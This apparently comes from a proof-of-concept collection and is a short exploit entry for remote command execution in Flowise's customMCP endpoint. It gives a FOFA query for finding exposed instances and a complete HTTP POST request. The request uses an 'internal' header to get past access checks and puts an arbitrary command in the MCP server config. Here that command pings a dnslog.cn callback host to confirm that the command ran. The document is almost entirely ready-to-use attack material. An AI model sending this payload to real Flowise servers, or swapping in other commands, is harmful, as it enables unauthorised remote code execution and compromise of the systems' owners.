Flowise-customMCP-RCE

Fofa:title="Flowise"

POST /api/v1/node-load-method/customMCP HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 279
Content-Type: application/json
x-request-from: internal
Accept-Encoding: gzip

{
    "inputs": {
        "mcpServerConfig": {
            "command": "ping",
            "args": [
                "vh5ug0.dnslog.cn",
                "-c",
                "4"
            ]
        }
    },
    "loadMethod": "listActions"
}

image-20251113173840844

image-20251113173840844